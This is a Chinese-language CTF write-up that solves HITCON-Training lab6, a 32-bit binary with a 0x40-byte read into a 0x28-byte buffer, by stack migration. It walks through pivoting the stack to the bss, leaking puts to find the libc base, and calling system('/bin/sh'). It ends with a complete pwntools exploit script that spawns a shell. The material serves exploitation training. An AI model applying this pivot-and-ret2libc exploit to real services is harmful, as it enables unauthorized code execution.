0x00:前言
棧轉移(stack immigration)主要是爲了解決棧溢出可以溢出空間大小不足的問題,HITCON-Training-master 的 lab6 就是用的這個原理,我們來實踐一下這道題目。
0x01:實例
題目鏈接:
https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab6/migration
運行一下程序,結構很簡單,接受完輸入就退出,保護開啓了堆棧不可執行
Thunder_J@Thunder_J-virtual-machine:~/桌面$ ./migration
Try your best :
aaaa
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec migration
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
放入IDA分析一下,漏洞很明顯,read函數讀 0x40 的大小,buf的大小隻有0x28,我們可以利用0x40 - 0x28 = 0x18 的大小
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}
題目的意思是讓我們轉移棧,我們可以通過改變ebp的值,再執行 leave ret 來實現對棧的轉移,我們一共分三次 payload 發送,首先第一次我們將偏移找好,將ebp轉移到bss+0x500處,然後調用read函數實現寫bss+0x500處的內容,也就是payload2的內容
# mov stack to bss + 0x500
payload1 = 'a'*40 + p32(elf.bss() + 0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
第二次payload我們通過泄露puts函數的地址計算出libc的基地址,然後調用read函數寫bss+0x400處的內容,也就是payload3的內容
# leak libc
payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)
payload3的內容就更加清晰了,直接調用system("\bin\sh")來getshell
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
總結來說就是因爲溢出我們可以利用的內容太小了,必須進行棧轉移,轉移到可以執行的地址來寫我們的shellcode,把一個shellcode一步一步分開來寫,最後getshell,總的exp如下:
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1',4000)
#r = process('./migration')
lib = ELF('/lib32/libc.so.6')
elf = ELF('./migration')
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
read_got = elf.got['read']
puts_got = elf.got['puts']
puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
pop_ebx = 0x0804836d
pop3ret = 0x8048569
leave_ret = 0x08048418
r.recvuntil(':\n')
# mov stack to bss + 0x500
payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
r.send(payload1)
sleep(0.1)
# leak libc
payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)
r.send(payload2)
sleep(0.1)
puts_addr = u32(r.recv(4))
print "puts_addr:" + hex(puts_addr)
libc_base = puts_addr - puts_lib
print "libc base is " + hex(libc_base)
system_addr = libc_base + system_lib
binsh_libc = lib.search("/bin/sh").next()
binsh = binsh_libc + libc_base
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
r.send(payload3)
sleep(0.1)
r.interactive()
0x02:總結
這種方法利用的地方比較奇特,還是需要多加鍛鍊
參考鏈接:
https://blog.csdn.net/zszcr/article/details/79841848